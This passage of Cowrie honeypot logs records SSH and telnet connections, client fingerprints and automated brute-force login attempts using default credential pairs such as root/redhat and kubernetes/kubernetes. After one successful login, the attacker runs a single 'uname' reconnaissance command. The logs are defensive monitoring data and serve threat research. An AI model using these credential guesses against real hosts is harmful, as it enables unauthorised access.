h.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.663649Z","src_ip":"116.110.15.216","session":"a83b6488bf00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71b79b32cd5","protocol":"telnet","message":"New connection: 192.119.13.58:44376 (10.17.0.5:23) [session: a71b79b32cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.674750Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:59.220301Z","src_ip":"45.153.34.112","session":"e5919bd5b7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54100,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6ba3b2c918","protocol":"telnet","message":"New connection: 192.119.13.58:54100 (10.17.0.5:23) [session: fb6ba3b2c918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:59.846409Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50062,"dst_ip":"10.17.0.5","dst_port":22,"session":"a477dd541ca7","protocol":"ssh","message":"New connection: 45.153.34.112:50062 (10.17.0.5:22) [session: a477dd541ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:00.943870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:00.949065Z","src_ip":"45.153.34.112","session":"a477dd541ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:01.031639Z","src_ip":"45.153.34.112","session":"a477dd541ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:01.279323Z","src_ip":"45.153.34.112","session":"a477dd541ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59556,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0ab7cf4d8a","protocol":"ssh","message":"New connection: 109.237.96.109:59556 (10.17.0.5:22) [session: 0a0ab7cf4d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:01.712538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:01.718691Z","src_ip":"109.237.96.109","session":"0a0ab7cf4d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:01.809318Z","src_ip":"109.237.96.109","session":"0a0ab7cf4d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:02.081421Z","src_ip":"116.110.15.216","session":"a83b6488bf00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakashka","message":"login attempt [root/kakashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:02.103760Z","src_ip":"109.237.96.109","session":"0a0ab7cf4d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:02.364791Z","src_ip":"45.153.34.112","session":"a477dd541ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.08330011367798,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:02.841307Z","src_ip":"192.119.13.58","session":"b235fa91a97a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.208710Z","src_ip":"109.237.96.109","session":"0a0ab7cf4d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":37510,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3dbf1d71d0b","protocol":"ssh","message":"New connection: 43.153.112.253:37510 (10.17.0.5:22) [session: e3dbf1d71d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.288413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.293564Z","src_ip":"43.153.112.253","session":"e3dbf1d71d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.326989Z","src_ip":"116.110.15.216","session":"a83b6488bf00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.362030Z","src_ip":"43.153.112.253","session":"e3dbf1d71d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.56610369682312,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.634838Z","src_ip":"192.119.13.58","session":"8734b461d1c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:03.668118Z","src_ip":"43.153.112.253","session":"e3dbf1d71d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4351490349","protocol":"ssh","message":"New connection: 45.153.34.112:50076 (10.17.0.5:22) [session: 0e4351490349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.243573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.340116Z","src_ip":"45.153.34.112","session":"0e4351490349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.348351Z","src_ip":"45.153.34.112","session":"0e4351490349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.700520Z","src_ip":"45.153.34.112","session":"0e4351490349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.26951360702515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.733797Z","src_ip":"192.119.13.58","session":"c14e0419ca10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:04.740688Z","src_ip":"43.153.112.253","session":"e3dbf1d71d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:05.790346Z","src_ip":"45.153.34.112","session":"0e4351490349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"415c923c24df","protocol":"telnet","message":"New connection: 192.119.13.58:52248 (10.17.0.5:23) [session: 415c923c24df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:06.415905Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50078,"dst_ip":"10.17.0.5","dst_port":22,"session":"8163d9bd35a7","protocol":"ssh","message":"New connection: 45.153.34.112:50078 (10.17.0.5:22) [session: 8163d9bd35a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:07.692399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:07.697667Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:07.780049Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":33128,"dst_ip":"10.17.0.5","dst_port":22,"session":"164395bc9b82","protocol":"ssh","message":"New connection: 186.68.83.105:33128 (10.17.0.5:22) [session: 164395bc9b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:07.968397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:07.973298Z","src_ip":"186.68.83.105","session":"164395bc9b82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.031015Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.065917Z","src_ip":"186.68.83.105","session":"164395bc9b82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.246234Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.249806Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.336929Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.342861Z","src_ip":"45.153.34.112","session":"8163d9bd35a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:08.466995Z","src_ip":"186.68.83.105","session":"164395bc9b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":29133,"dst_ip":"10.17.0.5","dst_port":22,"session":"9901f158b17d","protocol":"ssh","message":"New connection: 45.66.52.41:29133 (10.17.0.5:22) [session: 9901f158b17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.158644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.168206Z","src_ip":"45.66.52.41","session":"9901f158b17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.26624250411987,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.203759Z","src_ip":"192.119.13.58","session":"0244953e1d0b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.340809Z","src_ip":"45.66.52.41","session":"9901f158b17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.561879Z","src_ip":"186.68.83.105","session":"164395bc9b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37654,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa87fb9a2d42","protocol":"telnet","message":"New connection: 192.119.13.58:37654 (10.17.0.5:23) [session: aa87fb9a2d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:09.915730Z"}
